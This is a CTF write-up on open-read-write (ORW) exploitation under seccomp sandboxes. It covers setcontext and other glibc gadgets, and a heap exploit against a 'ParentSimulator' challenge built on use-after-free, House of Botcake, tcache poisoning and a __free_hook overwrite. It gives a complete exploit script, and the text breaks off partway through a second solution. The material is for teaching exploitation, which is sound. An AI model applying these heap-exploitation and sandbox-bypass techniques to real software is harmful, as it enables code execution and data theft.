ORW Overview

ORW refers to an exploitation technique in the context of binary exploitation. It stands for Open, Read, Write, which are fundamental system calls used to interact with files on a Linux system.

Open

The system call open() opens a file for reading, writing, or both. In a typical pwn challenge, this could be used to open a file, such as a flag file (/flag), that we want to read during the challenge.

int open(const char *pathname, int flags, mode_t mode)
  • pathname: The path to the file we want to open.
  • flags: Specifies how the file should be opened (read, write, or both). Common flags include:
    • O_RDONLY (0): Open the file for reading only.
    • O_WRONLY (1): Open the file for writing only.
    • O_RDWR (2): Open the file for both reading and writing.
    • O_CREAT (0x40): Create the file if it doesn't exist (requires a 3rd argument mode for file permissions).
    • O_TRUNC (0x200): Truncate the file to zero length if it already exists.
    • O_APPEND (0x400): Write data to the end of the file.
  • mode: The file mode (permissions), used only when a new file is being created. This can be omitted or set to 0 if the file already exists.

Read

The read() system call reads data from a file descriptor (obtained from the open() call) into a buffer.

ssize_t read(int fd, void *buf, size_t count)
  • fd: If we run the ORW chain, this is the file descriptor returned by open system call. It tells the kernel which file to read from.
  • buf: A pointer to a buffer where the data read from the file will be stored.
  • count: The number of bytes to read from the file.

Write

The write() system call writes data from a buffer to a file descriptor, often to standard output (fd = 1), which is useful for displaying the contents of the file (like a flag) on the screen.

ssize_t write(int fd, const void *buf, size_t count)
  • fd: The file descriptor to which the data should be written. For writing to standard output (the terminal), this is typically 1; sometimes we use 2 for standard error.
  • buf: A pointer to the buffer containing the data to write (in this case, the buffer that was filled by the read function).
  • count: The number of bytes to write from the buffer.

Usually, in a binary exploit scenario, we can use puts function instead (rdi for the 1st only argument buf), which is much more convenient.

ORW in Pwn Context

In many CTFs, challenges require us to craft a payload that performs the following steps:

  1. Open the file (often /flag or something similar).
  2. Read the contents of the file into memory.
  3. Write the contents of the file to standard output or standard error.

We can generate ORW shellcode using Pwntools' shellcraft module:

shellcode = asm(shellcraft.open('/flag')) + \
            asm(shellcraft.read(3, 'rsp', 100)) + \
            asm(shellcraft.write(1, 'rsp', 100))
  • Opens the /flag file (using file descriptor 3).
  • Reads 100 bytes of the file into the stack (rsp).
  • Writes those bytes to the standard output (fd = 1).

ORW in Sandbox

ORW is often used in challenges where the environment is sandboxed or restricted. Sandboxes are designed to isolate programs and limit their access to the file system and system resources. In such a scenario, direct execution of system calls like execve() to spawn a shell may be restricted, but basic file manipulation system calls like open(), read(), and write() are sometimes still allowed.

By using ORW shellcode, we can exploit a vulnerability and bypass these sandbox restrictions. Instead of executing a shell to read a file (which may be blocked), we use the available system calls (like open, read, write) to directly access and retrieve the contents of the file (e.g., /flag).

We can strace to check for denied system calls or unusual syscall behavior:

  • prctl(PR_SET_SECCOMP, ...): Indicates the use of seccomp.
  • open(), read(), write(), or execve() returning errors.
  • Filesystem and network-related syscalls that might be blocked or restricted.

Or, we can simply use strings to grep the seccomp keyword:

Some binaries are statically linked with sandboxing libraries. We can check for these libraries by inspecting the binary’s dependencies using ldd:

Seccomp (secure computing mode) is a Linux kernel feature used to restrict the system calls a process can make. We can use the seccomp-tools to help us finish the detection:

# sudo apt install gcc ruby-dev && sudo gem install seccomp-tools
seccomp-tools dump ./pwn

The binary blocks the execve and execveat system calls (goto008return KILL), which are typically used to execute new programs. This is a common security measure in sandboxed environments to prevent arbitrary code execution or privilege escalation.

This result confirms that the binary is sandboxed using seccomp. The presence of seccomp itself, especially with such strict rules, shows that the binary is running in a restricted execution environment where only specific system calls are allowed.

Setcontext

The function setcontext is a libc function that restores the execution context (register states, stack pointer, etc.) to a previously saved state. It is typically used in non-preemptive multitasking and context switching, where a program may need to pause one task and later resume it with the exact state it was in before.

However, in the context of binary exploitation, setcontext can be abused to set a variety of CPU registers and control program execution. This makes it a highly valuable tool for constructing Return-Oriented Programming (ROP) chains, especially when we can’t rely on more traditional methods of controlling register values.

The setcontext gadget allows for a very powerful ROP chain because it sets a wide range of registers in a single gadget (rdi as an index below glibc 2.29, but rdx in above version). This allows us to set up the exact context needed for a series of system calls (like ORW) in a relatively compact manner.

It is used to restore a previously saved CPU context. This context includes:

  • Stack pointer (rsp)
  • Base pointer (rbp)
  • General-purpose registers (rbx, r12, r13, r14, etc.)
  • Other important registers like rdi, rsi, rdx rcx (used in system calls).

Here’s a simplified form of what the function does:

int setcontext(const ucontext_t *ucp);
  • The ucontext_t structure holds the context (the register values, stack pointer, instruction pointer, etc.) that the setcontext function will restore.
  • When setcontext is called, the CPU state is restored based on the values in ucontext_t, and control flow is transferred back to the location specified by the saved instruction pointer.

Old Glibc Version < 2.29

In older versions of glibc (before version 2.29), which leverages the internal functions and structures of the dynamic memory allocator and libc to execute arbitrary code through Return-Oriented Programming (ROP). Specifically, it refers to exploiting __free_hook or __malloc_hook to hijack program control flow by utilizing the setcontext function.

  • Glibc Hooks:__free_hook and __malloc_hook are function pointers used internally by glibc's memory allocator. By overwriting these hooks, an attacker can change the behavior of free() or malloc() to execute arbitrary code (But of course they are discarded by default in newer version of glibc).
  • setcontext: is a glibc function used to restore a previously saved CPU context (register states). It's generally used in cooperative multitasking. But in this context, it’s being abused as a gadget to set specific register values.

This is part of the setcontext function, and the instructions show how the CPU registers are being restored:

<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]   # rsp = *(rdi + 0xa0)
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]   # rbx = *(rdi + 0x80)
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]   # rbp = *(rdi + 0x78)
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]   # r12 = *(rdi + 0x48)
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]   # r13 = *(rdi + 0x50)
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]   # r14 = *(rdi + 0x58)
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]   # r15 = *(rdi + 0x60)
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]   # rcx = *(rdi + 0xa8)
<setcontext+94>:  push   rcx                        # Push rcx onto the stack
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]   # rsi = *(rdi + 0x70)
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]   # rdx = *(rdi + 0x88)
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]   # rcx = *(rdi + 0x98)
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]    # r8 = *(rdi + 0x28)
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]    # r9 = *(rdi + 0x30)
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]   # rdi = *(rdi + 0x68)
<setcontext+125>: xor    eax,eax                    # Zero out eax
<setcontext+127>: ret                               # Return, control flow is transferred

The setcontext+53 (and following instructions) shows how setcontext loads various registers from memory. Each register (like rsp, rbx, rbp, etc.) is loaded from memory at an offset relative to rdi – using it as an index. This means that by controlling rdi, we can set these registers to values stored at controlled memory addresses.

Summary:

  • Goal: Exploit a vulnerability (e.g., __free_hook or __malloc_hook) to hijack control flow and execute arbitrary code.
  • Strategy: Use the setcontext function to load registers and execute a ROP chain to perform the ORW sequence (open, read, and write a file like /flag).
  • Execution: Overwrite the hook, use setcontext to control registers, and execute a crafted ROP chain that eventually reads and outputs the content of a file.

New Glibc Version >= 2.29

In glibc 2.29 and later versions, the setcontext gadget has changed its behavior and now uses the rdx register as the index for loading various registers and restoring the execution context, instead of using rdi as in previous versions. This change adds complexity to the exploitation process, as now we must first control the value of rdx to control the values of other registers that are loaded from memory.

Here’s the code for the updated setcontext gadget in glibc 2.29+:

.text:00000000000580DD  mov     rsp, [rdx+0A0h]   ; Set the stack pointer
.text:00000000000580E4  mov     rbx, [rdx+80h]    ; Set rbx
.text:00000000000580EB  mov     rbp, [rdx+78h]    ; Set rbp
.text:00000000000580EF  mov     r12, [rdx+48h]    ; Set r12
.text:00000000000580F3  mov     r13, [rdx+50h]    ; Set r13
.text:00000000000580F7  mov     r14, [rdx+58h]    ; Set r14
.text:00000000000580FB  mov     r15, [rdx+60h]    ; Set r15
.text:00000000000580FF  test    dword ptr fs:48h, 2
    ...
.text:00000000000581C6  mov     rcx, [rdx+0A8h]   ; Set rcx and push it to the stack
.text:00000000000581CD  push    rcx               ; Push rcx to the stack
.text:00000000000581CE  mov     rsi, [rdx+70h]    ; Set rsi
.text:00000000000581D2  mov     rdi, [rdx+68h]    ; Set rdi
.text:00000000000581D6  mov     rcx, [rdx+98h]    ; Set rcx
.text:00000000000581DD  mov     r8, [rdx+28h]     ; Set r8
.text:00000000000581E1  mov     r9, [rdx+30h]     ; Set r9
.text:00000000000581E5  mov     rdx, [rdx+88h]    ; Set rdx
.text:00000000000581EC  xor     eax, eax          ; Clear eax
.text:00000000000581EE  retn                      ; Return, transfer control

This code loads various registers (like rsp, rsi, rdi, rbx, rdx, etc.) from memory, but now the memory addresses are indexed by rdx. This change means we must first set rdx to a controlled value (pointing to their crafted payload) before controlling other registers.

However in exploitation, finding gadgets that allow direct control over the rdx register can be challenging. ROP gadgets that move immediate values or controlled values into rdx are relatively rare compared to gadgets for other registers like rdi or rsi.

Demo Analysis

Overview

A "simple" Pwn challenge called "ParentSimulator" will be analyzed to introduce the exploit as a demo. Its Glibc version is 2.31, that you can download the challenge on my Github. Here we will take a look at the binary it self briefly and then exploit it in different ways followingly.

Fully armored with protections and within a sandbox environment:

There're 6 Operations:

Option1: add

Give birth a child (add):

int add()
{
  unsigned int index; // [rsp+8h] [rbp-8h]
  int sex; // [rsp+Ch] [rbp-4h]

  puts("Please input index?");
  v1 = myread();
  if ( index >= 0xA )
    return puts("oh god, you can't give birth to a child!");
  puts("Please choose your child's gender.\n1.Boy\n2.Girl:");
  sex = myread();
  if ( sex != 1 && sex != 2 )
    return puts("Oho, your child must be a boy or a girl");
  chunk_flag[index] = 1;
  chunk_entry[index] = malloc(0x100uLL);
  if ( sex == 1 )
  {
    *(_DWORD *)(chunk_entry[index] + 8LL) = 'yob';
  }
  else if ( sex == 2 )
  {
    strcpy((char *)(chunk_entry[index] + 8LL), "girl");
  }
  puts("Please input your child's name:");
  return input_name(chunk_entry[index], 8LL);
}

Option 2: rename

Rrename a child (rename), by checking chunk_flag=1, namely child existed:

int rename()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Please input index?");
  LODWORD(v0) = myread();
  v2 = v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = chunk_entry[(int)v0];
    if ( v0 )
    {
      LODWORD(v0) = chunk_flag[v2];
      if ( (_DWORD)v0 )
      {
        puts("Please input your child's new name:");
        input_name(chunk_entry[v2], 8LL);
        LODWORD(v0) = puts("Done!");
      }
    }
  }
  return v0;
}

Option 3: show

Display child name (show):

int show()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Please input index?");
  LODWORD(v0) = myread();
  v2 = v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = chunk_entry[(int)v0];
    if ( v0 )
    {
      LODWORD(v0) = chunk_flag[v2];
      if ( (_DWORD)v0 )
        LODWORD(v0) = printf(
                        "Name: %s, Gender: %s, Description:%s.\n",
                        (const char *)chunk_entry[v2],
                        (const char *)(chunk_entry[v2] + 8LL),
                        (const char *)(chunk_entry[v2] + 16LL));
    }
  }
  return v0;
}

Option 5: edit

Edit description (edit):

int edit()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Please input index?");
  LODWORD(v0) = myread();
  v2 = v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = chunk_entry[(int)v0];
    if ( v0 )
    {
      LODWORD(v0) = chunk_flag[v2];
      if ( (_DWORD)v0 )
      {
        puts("Please input your child's description:");
        input_name(chunk_entry[v2] + 16LL, 240LL);
        LODWORD(v0) = puts("Done");
      }
    }
  }
  return v0;
}

Hidden option 666: change the child's gender (change_gender). If we review the main function, we will know that there's a hidden option 666. And this can only be run once for the gender_chance variable:

It prints the current gender before re-choosing. To be noticed, this function does NOT verify the chunk_flag variable, which will leak for example the heap address when the chunk is in tcache bin, or leak libc address when it is in unsorted bin:

int change_gender()
{
  char *v0; // rax
  int v2; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  printf("You only have 1 chances to change your child's gender, left: %d\n", (unsigned int)gender_chance);
  LODWORD(v0) = gender_chance;
  if ( gender_chance )
  {
    puts("Please input index?");
    LODWORD(v0) = myread();
    v2 = (int)v0;
    if ( (unsigned int)v0 <= 9 )
    {
      v0 = (char *)chunk_entry[(int)v0];
      if ( v0 )
      {
        --gender_chance;
        printf("Current gender:%s\n", (const char *)(chunk_entry[v2] + 8LL));
        puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
        v3 = myread();
        if ( v3 == 1 )
        {
          v0 = (char *)(chunk_entry[v2] + 8LL);
          *(_DWORD *)v0 = 'yob';
        }
        else if ( v3 == 2 )
        {
          v0 = (char *)(chunk_entry[v2] + 8LL);
          strcpy(v0, "girl");
        }
        else
        {
          LODWORD(v0) = puts("oho, you choose a invalid gender.");
        }
      }
    }
  }
  return (int)v0;
}

Option 4: free

Remove child (free), with clearly use-after-free vulnerability:

int free()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Please input index?");
  LODWORD(v0) = myread();
  v2 = v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = chunk_entry[(int)v0];
    if ( v0 )
    {
      free((void *)chunk_entry[v2]);	// UAF
      chunk_flag[v2] = 0;
      LODWORD(v0) = puts("Done");
    }
  }
  return v0;
}

ATOI: myread

Besides, the custom "read" function myread:

int myread()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 8uLL);
  return atoi(buf);
}

It reads 8 bytes of input from standard input (file descriptor 0) into a local buffer and then converts the input into an integer using the atoi function.

After the function finishes, before returning, the stack canary (v2) will likely be checked by the compiler-generated code. If the value has been altered (as a result of a buffer overflow or other exploit attempt), the program will terminate, indicating an attempt to corrupt the stack.

Chunk Layout

After allocating, the corresponding chunk is constructed as:

0x0 → pre_size
0x8 → size
0x10 → name
0x18 → gender
0x20 → description

Glibc 2.31

In the following Solution 1 & 2, we will use the exploit technique of hijacking __free_hook to execute instructions, which is useful in lower versions of modern Glibc.

However, in Glibc versions higher than 2.34, many global variables like hooks are removed from code, aka __malloc_hook, __free_hook, __realloc_hook, etc. It means we can no longer use the hook functions to hijack execution flow, which has long been used in binary exploitation.

But the main purpose of this post is to illustrate how to exploit with the ORW ROP chain. Using the hook functions in Glibc 2.31 help us focus on the idea.

Def for EXP

Functions

We will provide 3 solutions in the following chapters, while using same definition for functions in the binary to shorten these writeups:

def add(index, sex, name):
    sla('>> ', '1')
    sla('index?\n', str(index))
    sla('2.Girl:\n', str(sex))
    sa("Please input your child's name:\n", name)
    
def rename(index, name):
    sla('>> ', '2')
    sla('index', str(index))
    sa('name:', name)
    ru('Done!\n')
    
def show(index):
    sla('>>', '3')
    sla('index?', str(index))
    
def free(index):
    sla('>>', '4')
    sla('index?', str(index))
    
def change_gender(index, sex):
    sla('>>', '666')
    sla('index?', str(index))
    ru('Current gender:')
    addr = uu64(r(6))        # leak address
    sla('2.Girl:',str(sex))
    return addr

def edit(index, data):
    sla('>>', '5')
    sla('index?', str(index))
    sa('description:', data)
    
def myquit():
    sla('>>','6')

Heap Layout

And I will use chunk 0 to 9 as the expression to illustrate how we exploit the heap. The initial indexes of childern are same as corresponding chunk numbers, but they will change during the attack.

Abbreviation

Of course I create some custom abbreviation for function in the pwntools, which can also be referred from my custom pwn exp template on Github:

s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b'\0'))

Solution 1 | getkeyserv_handle+576 & Setcontext

As we discussed above, in glibc 2.31, the setcontext function now uses the rdx register to index memory, making it necessary to control rdx in order to execute the setcontext gadget properly. Direct control of rdx is challenging because gadgets that allow an attacker to easily manipulate rdx are rare.

In this solution, we can omit the change_gender function to complete the attack.

Gadget: getkeyserv_handle+576

A gadget getkeyserv_handle+576 in the binary that can control rdx via manipulation of another register, in this case, rdi. The gadget found is at the offset getkeyserv_handle+576, which is present in multiple versions of glibc (from 2.29 to 2.32). This gadget can be used to control rdx indirectly by manipulating rdi. The disassembled instructions for the gadget are as follows:

mov     rdx, [rdi+8]               ; Load rdx with the value at [rdi + 8]
mov     [rsp], rax     	           ; Store rax on the stack
call    qword ptr [rdx+20h]        ; Call a function pointer at [rdx + 0x20]
  • mov rdx, [rdi + 8]: This instruction loads the value from memory at [rdi + 8] into rdx. It means that by controlling rdi, we can indirectly control the value of rdx. Specifically, we need to ensure that the value stored at [rdi + 8] is what they want to load into rdx.
  • mov [rsp], rax: This instruction is not essential for the exploitation, as it simply saves the value of rax onto the stack. It has no immediate impact on the flow or control of the exploit.
  • call qword ptr [rdx + 20h]: This instruction attempts to make a call to a function pointer located at [rdx + 0x20], aka call [rdi+8+0x20].

Our final goal is to exploit the setcontext gadget, after controlling rdx. Once rdx is controlled (through getkeyserv_handle after controlling the rdi register), we control the execution flow by the last call function. The exploit will then proceed to call the specific setcontext gadget, and return.

Therefore, the most important control point should be [rdi + 8], which is the gender variable. Thus, we will need to make a way to overwrite this address (chunk overlapping in this case).

EXP to Explain

To make this post shorter, I will make detailed explanation in the comments of the EXP & summarize the steps below:

from pwn import *

[Omit the custom functions]    
    
def exploit():
    # -------- 1 -------- House of Botcake
    
    # Double free -> Chunk overlapping -> leak heap/libc addr
    
    # leak heap
    # add up to 9 children: chunk 0 to 9, with corresponding index
    # index will change for chunks later
    for i in range(10):
        add(i, 1, 'aaaa')
    # fill up tcache, 6 -> 0
    for i in range(7):
        free(6 - i)
    # unsorted bin -> consolidate -> unsorted bin
    free(8)
    free(7)
    # take out the first chunk from tcache
    add(0, 1, 'bbbb')
    # re-fill tcache with part of the consolidated chunk -> chunk overlapping
    # double free: chunk 8 in both tcache top & unsorted bin
    free(8)     
    # allocate chunk 8 @tcache_top for index 0
    add(0, 1, 'cccc')
    # double free chunk 8 -> tcache top -> write heap addr into chunk 0 ptr
    free(8)
    # leak heap addr @key_ptr
    show(0)
    ru('Gender: ')
    heap_addr = uu64(r(6))
    pa('leaked heap addr: ', heap_addr)
    
    # leak libc
    # unlink unsorted bin chunks before chunk 0 -> write usbin address
    for i in range(1, 9):
        # 1st chunk allocated is the overlapped chunk 8 (index 0) at tcache top
        # last 8th chunk allocated is the consolidated chunk 7 (0x220)
        # chunk 8 becomes last remainder -> usbin address written -> in usrbin
        add(i, 1, '1111')
    show(0)
    ru('Gender: ')
    leaked_usbin = uu64(r(6))
    pa('leaked unsorted bin', leaked_usbin)
    libc_base = leaked_usbin-0x1ebbe0
    pa('libc base', libc_base)
    
    # -------- 2 -------- Setcontext Chain
    
    # chunk overlapping > overwrite chunk_entry+8 > setcontext gadget
    
    # ORW
    open_addr  = libc_base + libc.sym['open']
    read_addr  = libc_base + libc.sym['read']
    puts       = libc_base + libc.sym['puts']
    # getkeyserv_handle+575 gadget
    gadget     = libc_base + 0x1547a0
    # other gadgets
    free_hook  = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext'] + 61    # start with rdx indexing
    p_rdi_r     = libc_base + 0x26b72
    p_rdx_r12_r = libc_base + 0x11c1e1  # control rdx but not affect rip
    p_rsi_r     = libc_base + 0x27529
    pa('__free_hook', free_hook)
    pa('getkeyserv_handle+575', gadget)
    
    # tcache poisoning -> chunk overlapping
    add(9, 1, 'UUUU')   # Allocate chunk 8 from usbin, indexed 9 & 0 & 1 (previous 1st allocation)
    free(3)     # free chunk 2 into tcache
    free(1)     # free chunk 8 into tcache
    rename(0, p64(heap_addr+0x380)[:-1])  # write chunk 8 name(fd) @tcache_top
    add(8, 1, 'UUUU') # chunk 8 allocated (indexed 8) -> heap_addr+0x380 @tcache_top
    add(9, 1, p64(0xdeadbeef)[:-1]) # heap_addr+0x370 allocated to overwrite chunk 1, indexed 9
    # write chunk 1 gender field -> chunk2 description field
    pl = flat({
        0x0:  [0, 0x111],      # keep original 
        # chunk 1 gender field     
        # write address of chunk 1 description field 
        # when we free chunk 1 (free(rdi)) at the end
        # we instead call getkeyserv_handle_575 gadget
        # And this is where rdi+0x8 -> make [rdi+8+0x20] = setcontext <- called
        0x10: [0, heap_addr + 0x3b0 - 0x20],  # [heap_addr+0x3b0] = setcontext   
        # setcontext gadget: mov rsp, [rdx+0xa0] 
        0x20: setcontext,   # heap_addr+0x3b0       
        # rsp = [rdx+a0] = [rdi+8+a0] -> chunk 3 @description 
        # and the edit function starts from chunk_entry+0x10
        # call -> pop rsp; ret
        # rcx = [rdx+0xa8]; push rcx -> p_rdi_r
        0xa0: [heap_addr + 0x5d0, p_rdi_r]  # complete chain: push pop_rdi gadget above file name 
    }, filler='\0')
    edit(9, pl)     # pl -> chunk 1 (index 9)
    # all bins empty

    # -------- 3 -------- Set Gadgets into __free_hook
    
    free(7) # chunk 6 -> tcache 
    free(8) # chunk 8 -> tcache top
    rename(0, p64(free_hook)[:-1])    # write chunk 8 fd
    add(8, 1, p64(0xdeadbabe)[:-1]) # allocate chunk 8 -> free_hook @tcache_top
    add(7, 1, p64(gadget)[:-1]) # write __free_hook, indexed 7
    
    # -------- 4 -------- ROP chain
    pl = flat({
        # p_rd_r was deployed previously in chunk 1, right above heap_addr+0xb10
        0x0:  heap_addr+0xb10,  # 1st arg for open, chunk 8 ptr -> contains file name
        0x8:  p_rsi_r,
        0x10: 0, # 2nd arg for open, flags, O_RDONLY (readonly)
        0x18: open_addr,
        0x20: p_rdi_r,
        0x28: 4,     # 1st arg for read, file descriptor returned by open (rax)
        0x30: p_rsi_r,
        0x38: heap_addr+0x500,  # 2nd arg for read, chunk 2 empty space
        0x40: p_rdx_r12_r,
        0x48: 0x30, # rdx, 3rd arg for read, count
        0x50: 0x30, # r12, junk
        0x58: read_addr,
        0x60: p_rdi_r,  # 1st arg for write
        0x68: heap_addr+0x500,  # chunk 2 empty space
        0x70: puts,
        }, filler='\0')

    edit(4,pl)  # ROP chain -> chunk 3 @description
    rename(0,'/flag\x00\x00')   # write file name (8 bytes) to chunk 8

    # -------- 5 -------- trigger __free_hook -> gadget

    # gdb.attach(p)
    free(2)  
    
    p.interactive()
    
    
if __name__ == '__main__':
    
    file_path = './pwn'
    libc_path = './libc-2.31.so'
    ld_path   = './ld-2.31.so'
    
    context(arch="amd64", os="linux", endian="little")
    # context.log_level="debug"
    
    e    = ELF(file_path, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None
    
    if len(sys.argv) > 1:
        if libc_path != '':
            libc = ELF(libc_path)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
    else:
        if libc_path != '':
            libc = ELF(libc_path)
            env  = {'LD_PRELOAD': libc_path}
        if ld_path != '':
            cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
            p   = process(cmd, env=env)
        else:
            p = process(file_path, env=env)
        mode["local"] = True
        
    exploit()

GDB to Explain

The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.

STEP 1: Leak

House of Botcake > Chunk overlapping > Leak heap address (heap_base+0x10):

Leak unsorted bin > Calculate offset > libc base:

During the allocation, chunk 7 will be spilt up for the last step, then chunk 8 becomes the last remainder written unsorted bin address in the pointers (see EXP comments).

Step 2: Gadgets

To find out the getkeyserv_handle+575 gadget gadget:

ropper --file ./libc-2.31.so --search 'mov rdx'

Use the gadgets (setcontext+61) in setcontext function which contains the rsp,QWORD PTR [rdx+0xa0] gadget to control rsp:

pwndbg> disassemble setcontext
Dump of assembler code for function setcontext:
   
   ...
   
   0x00007f8faec180dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
   0x00007f8faec180e4 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
   0x00007f8faec180eb <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
   0x00007f8faec180ef <+79>:    mov    r12,QWORD PTR [rdx+0x48]
   0x00007f8faec180f3 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
   0x00007f8faec180f7 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
   0x00007f8faec180fb <+91>:    mov    r15,QWORD PTR [rdx+0x60]
   0x00007f8faec180ff <+95>:    test   DWORD PTR fs:0x48,0x2
   0x00007f8faec1810b <+107>:   je     0x7f8faec181c6 <setcontext+294>
   
   ...
   
   0x00007f8faec181c6 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
   0x00007f8faec181cd <+301>:   push   rcx
   0x00007f8faec181ce <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007f8faec181d2 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007f8faec181d6 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007f8faec181dd <+317>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007f8faec181e1 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007f8faec181e5 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007f8faec181ec <+332>:   xor    eax,eax
   0x00007f8faec181ee <+334>:   ret
   0x00007f8faec181ef <+335>:   mov    rcx,QWORD PTR [rip+0x192c7a]        # 0x7f8faedaae70
   0x00007f8faec181f6 <+342>:   neg    eax
   0x00007f8faec181f8 <+344>:   mov    DWORD PTR fs:[rcx],eax
   0x00007f8faec181fb <+347>:   or     rax,0xffffffffffffffff
   0x00007f8faec181ff <+351>:   ret
End of assembler dump.   

Tcache Poisoning: Overwrite name section (next pointer) on chunk 8 with an address heap_addr+0x380:

heap_addr+0x380 locates at right above chunk 1, so that we can overwrite the chunk 1 gender field (actually we can also use that change_gender function for the same goal):

Chunk overlapping > Overwrite gender field (aka chunk 1 entry +0x8 > Deploy setcontext+61:

The chunk 1 gender field is overwritten with an address related to that following address that stores the setcontext+61 gadget. We do this because, after we overwrite the __free_hook with the getkeyserv_handle+576 gadget (mov rdx, [rdi+8]; call [rdx+20h]), we will make the execution flow return to the heap address storing setcontext+61.

And we write the address containing ROP chain (will introduce later) there because setcontext+61 will change rsp to a value of rdx+0xa0 — so we hijack the rsp to this area.

And we write the pop rdi;ret gadget followingly, as the first gadget of the ROP chain. Because there's mov rcx, [rdx+0xa8]; push rcx operation in the setcontext+294 operation. So we need to set the 1st gadget in advance at rdx+0xa8 (next to the ROP chain entry), and it will be pushed above the ROP chain we are gonna construct in the next steps.

Step 3: Write Gadget to __free_hook

Tcache poisoning: write getkeyserv_handle+576 Gadget to __free_hook:

Next time if we run the free function, we will call getkeyserv_handle+576 gadget instead.

Step 4: ORW ROP Chain

Edit chunk 3 description field (the entrance we overwrote to chunk 1 (+0xa0) in step 2) and spray our ROP chain on it:

Write the file name for open function as the 1st argument:

Step 5: Trigger

Simply run free to free chunk 1 (index 2), which will take its chunk entry for the pointer (1st argument in rdi). But we hijack the __free_hook function so instead it runs the getkeyserv_handle+576 gadget, and then run:

mov     rdx, [rdi+8]          ; chunk 1 gender field
mov     [rsp], rax     		  		 
call    qword ptr [rdx+20h]   ; call context+61      

Set a breakpoint at the leaked address of gadget, we can see:

Run setcontext+61 gadget to hijack execution flow to deployed ORW ROP chain:

To be noticed, after that push operation, our ROP chain completes, which is why we separate the gadgets in ROP:

It's then open, read, write, whose details can be referred in the EXP comments. Open the file name, and content is read into the empty space we specify (heap_addr+0x500):

With the puts functions run, we leak the flag through standard output:

In glibc versions higher than 2.34, many global variables like hooks are removed from code. For example: __malloc_hook, __free_hook, __realloc_hook, etc. It means we can no longer use solution 1 to hijack execution flow. Then we need to fake _IO_FILE struct to hijack IO flows.

Solution 2 | svcudp_reply+26 & Stack Pivot

This is a less complicated way to finish this challenge, by performing stack pivot via another useful gadget svcudp_reply + 26. We can hijack the stack to our controlled heap, which deployed with our ORW ROP chain.

And I will use the change_gender function in this writeup so that we can leak addresses faster.

Gadget: svcudp_reply+26

The svcudp_reply+26 (not available in glibc 2.35) is a useful gadget to perform Stack Pivot, as long as we can control the rdi register:

mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18]; 
lea r13, [rbp + 0x10]; 
mov dword ptr [rbp + 0x10], 0; 
mov rdi, r13; 
call qword ptr [rax + 0x28];
  • mov rbp, [rdi+0x48]: We can hijack rbp after controlling rdi.
  • mov rax, [rbp+0x18]: Load the value addressed in [rbp+0x18] into rax.
  • call [rax+0x28]: Call a function locates at [rax+0x28], so that we hijack the execution flow.

EXP to Explain

from pwn import *

[Omit the custom functions]  
    
def exploit():
    # ----- 1 ----- Leak heap address
    for i in range(8):
        add(i, 1, 'aaaa')
    free(6)
    heap_addr = change_gender(6, 2)
    pa('leaked heap_addr', heap_addr)
    
    # ----- 2 ----- Doble free -> leak libc_libc_base
    free(6) # double free
    add(6, 1, 'bbbb')
    add(8, 1, 'cccc') # chunk 6 overlapped, also indexed 8
    for i in range(6):
        free(i)
    free(7) # now tcache is full; next free'd chunk will be put to usbin
    free(6) # write usbin addr to chunk 6 pointers
    show(8) # leak chunk 6 pointers
    ru('Name: ')
    libc_base = l64() - 0x1ebbe0
    pa('libc_base addr', libc_base)
    
    # ----- 3 ----- Set gadget to __free_hook
    gadget = libc_base + 0x157bfa
